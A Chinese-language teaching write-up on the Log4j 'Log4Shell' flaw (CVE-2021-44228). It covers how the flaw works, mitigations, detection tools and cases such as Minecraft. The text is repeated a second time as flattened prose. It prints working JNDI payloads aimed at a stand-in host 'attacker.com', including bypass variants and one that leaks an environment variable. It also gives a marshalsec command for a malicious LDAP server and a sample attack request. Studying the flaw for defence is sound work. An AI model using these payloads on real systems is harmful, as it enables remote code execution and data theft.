Log4jRCE漏洞分析
字数 1639 2025-08-07 08:21:54

Log4j RCE漏洞分析与利用教学文档

1. 漏洞概述

Log4j RCE漏洞(CVE-2021-44228)是2021年12月9日公开的一个Apache Log4j库中的远程代码执行漏洞,被称为"Log4Shell"。该漏洞影响广泛,被评定为CVSS 10.0最高严重等级。

2. 漏洞影响范围

  • 受影响版本:Log4j 2.x <= 2.14.1
  • 受影响应用:任何使用受影响版本Log4j进行日志记录的Java应用程序
  • 已知受影响产品:Minecraft、百度、苹果AirPods等众多知名产品

3. 漏洞原理

3.1 JNDI注入

漏洞核心在于Log4j的JNDI (Java Naming and Directory Interface) 查找功能。当应用程序使用Log4j记录包含${}格式的字符串时,Log4j会执行"查找替换"操作。

3.2 攻击流程

  1. 攻击者构造恶意输入,如${jndi:ldap://attacker.com/Exploit}
  2. 应用程序使用Log4j记录该输入(如记录用户代理、请求参数等)
  3. Log4j解析${}语法,执行JNDI查找
  4. 应用程序从攻击者控制的LDAP服务器下载并执行恶意代码

4. 漏洞利用细节

4.1 基本利用方式

最简单的利用形式:

${jndi:ldap://attacker.com/Exploit}

4.2 绕过技巧

  1. 大小写绕过

    ${jNdI:ldap://attacker.com/Exploit}
    
  2. 嵌套语法

    ${${lower:j}ndi:ldap://attacker.com/Exploit}
    
  3. 环境变量引用

    ${jndi:ldap://attacker.com/${env:USER}.class}
    

4.3 高级利用技术

  1. 利用RMI协议

    ${jndi:rmi://attacker.com/Exploit}
    
  2. 利用DNS协议

    ${jndi:dns://attacker.com/Exploit}
    
  3. 利用HTTP协议

    ${jndi:http://attacker.com/Exploit}
    

5. 漏洞复现环境搭建

5.1 所需工具

  1. 受影响版本的Log4j (2.0-beta9 <= version <= 2.14.1)
  2. Java运行环境
  3. 恶意LDAP服务器 (如marshalsec)
  4. 攻击载荷 (如Exploit.class)

5.2 复现步骤

  1. 搭建恶意LDAP服务器:

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit"
    
  2. 准备Exploit.class文件,包含恶意代码

  3. 启动目标应用程序

  4. 发送恶意请求:

    GET / HTTP/1.1
    Host: vulnerable-app.com
    User-Agent: ${jndi:ldap://attacker-ip:1389/Exploit}
    

6. 漏洞防御方案

6.1 紧急缓解措施

  1. 升级Log4j

    • 升级到2.15.0或更高版本
  2. 设置系统属性

    System.setProperty("log4j2.formatMsgNoLookups", "true");
    
  3. 修改JVM参数

    -Dlog4j2.formatMsgNoLookups=true
    
  4. 删除JndiLookup类

    zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
    

6.2 长期防御策略

  1. 输入验证和过滤
  2. 网络隔离和访问控制
  3. 使用WAF规则拦截JNDI请求
  4. 实施最小权限原则

7. 漏洞分析

7.1 关键代码分析

漏洞位于org.apache.logging.log4j.core.lookup.JndiLookup类中:

public String lookup(final LogEvent event, final String key) {
    if (key == null) {
        return null;
    }
    try {
        InitialContext ctx = new InitialContext();
        Object obj = ctx.lookup(key);
        return obj == null ? null : String.valueOf(obj);
    } catch (NamingException e) {
        LOGGER.warn(LOOKUP, "Error looking up JNDI resource [{}].", key, e);
        return null;
    }
}

7.2 漏洞触发流程

  1. 日志记录时调用MessagePatternConverter.format()
  2. 解析${}语法
  3. 调用StrSubstitutor.substitute()
  4. 根据前缀调用相应Lookup (如jndi:)
  5. 执行JNDI查找并加载远程类

8. 相关CVE

  1. CVE-2021-44228 - 原始RCE漏洞 (Log4Shell)
  2. CVE-2021-45046 - 补丁绕过漏洞
  3. CVE-2021-45105 - DoS漏洞
  4. CVE-2021-44832 - RCE via JDBCAppender

9. 检测方法

9.1 手动检测

  1. 查找应用是否包含log4j-core-*.jar
  2. 检查版本号是否在受影响范围内

9.2 工具检测

  1. log4j-scan

    python3 log4j-scan.py -u https://target.com
    
  2. Nuclei

    nuclei -t log4j-detection.yaml -target target.com
    
  3. Burp Suite插件:Log4jScanner

10. 实际案例分析

10.1 Minecraft案例

攻击者通过在游戏聊天中发送包含恶意JNDI查找的消息,利用服务器记录日志的功能触发漏洞。

10.2 苹果AirPods案例

攻击者通过修改设备名称包含JNDI payload,当设备连接时名称被记录到日志触发漏洞。

11. 总结

Log4j RCE漏洞因其易利用性、高危害性和广泛影响面成为2021年最严重的漏洞之一。理解其原理和利用方式对于防御类似漏洞至关重要。开发者应始终保持依赖库更新,并实施深度防御策略。

Log4j RCE漏洞分析与利用教学文档 1. 漏洞概述 Log4j RCE漏洞(CVE-2021-44228)是2021年12月9日公开的一个Apache Log4j库中的远程代码执行漏洞,被称为"Log4Shell"。该漏洞影响广泛,被评定为CVSS 10.0最高严重等级。 2. 漏洞影响范围 受影响版本:Log4j 2.x <= 2.14.1 受影响应用:任何使用受影响版本Log4j进行日志记录的Java应用程序 已知受影响产品:Minecraft、百度、苹果AirPods等众多知名产品 3. 漏洞原理 3.1 JNDI注入 漏洞核心在于Log4j的JNDI (Java Naming and Directory Interface) 查找功能。当应用程序使用Log4j记录包含 ${} 格式的字符串时,Log4j会执行"查找替换"操作。 3.2 攻击流程 攻击者构造恶意输入,如 ${jndi:ldap://attacker.com/Exploit} 应用程序使用Log4j记录该输入(如记录用户代理、请求参数等) Log4j解析 ${} 语法,执行JNDI查找 应用程序从攻击者控制的LDAP服务器下载并执行恶意代码 4. 漏洞利用细节 4.1 基本利用方式 最简单的利用形式: 4.2 绕过技巧 大小写绕过 : 嵌套语法 : 环境变量引用 : 4.3 高级利用技术 利用RMI协议 : 利用DNS协议 : 利用HTTP协议 : 5. 漏洞复现环境搭建 5.1 所需工具 受影响版本的Log4j (2.0-beta9 <= version <= 2.14.1) Java运行环境 恶意LDAP服务器 (如marshalsec) 攻击载荷 (如Exploit.class) 5.2 复现步骤 搭建恶意LDAP服务器: 准备Exploit.class文件,包含恶意代码 启动目标应用程序 发送恶意请求: 6. 漏洞防御方案 6.1 紧急缓解措施 升级Log4j : 升级到2.15.0或更高版本 设置系统属性 : 修改JVM参数 : 删除JndiLookup类 : 6.2 长期防御策略 输入验证和过滤 网络隔离和访问控制 使用WAF规则拦截JNDI请求 实施最小权限原则 7. 漏洞分析 7.1 关键代码分析 漏洞位于 org.apache.logging.log4j.core.lookup.JndiLookup 类中: 7.2 漏洞触发流程 日志记录时调用 MessagePatternConverter.format() 解析 ${} 语法 调用 StrSubstitutor.substitute() 根据前缀调用相应Lookup (如jndi:) 执行JNDI查找并加载远程类 8. 相关CVE CVE-2021-44228 - 原始RCE漏洞 (Log4Shell) CVE-2021-45046 - 补丁绕过漏洞 CVE-2021-45105 - DoS漏洞 CVE-2021-44832 - RCE via JDBCAppender 9. 检测方法 9.1 手动检测 查找应用是否包含log4j-core-* .jar 检查版本号是否在受影响范围内 9.2 工具检测 log4j-scan : Nuclei : Burp Suite插件 :Log4jScanner 10. 实际案例分析 10.1 Minecraft案例 攻击者通过在游戏聊天中发送包含恶意JNDI查找的消息,利用服务器记录日志的功能触发漏洞。 10.2 苹果AirPods案例 攻击者通过修改设备名称包含JNDI payload,当设备连接时名称被记录到日志触发漏洞。 11. 总结 Log4j RCE漏洞因其易利用性、高危害性和广泛影响面成为2021年最严重的漏洞之一。理解其原理和利用方式对于防御类似漏洞至关重要。开发者应始终保持依赖库更新,并实施深度防御策略。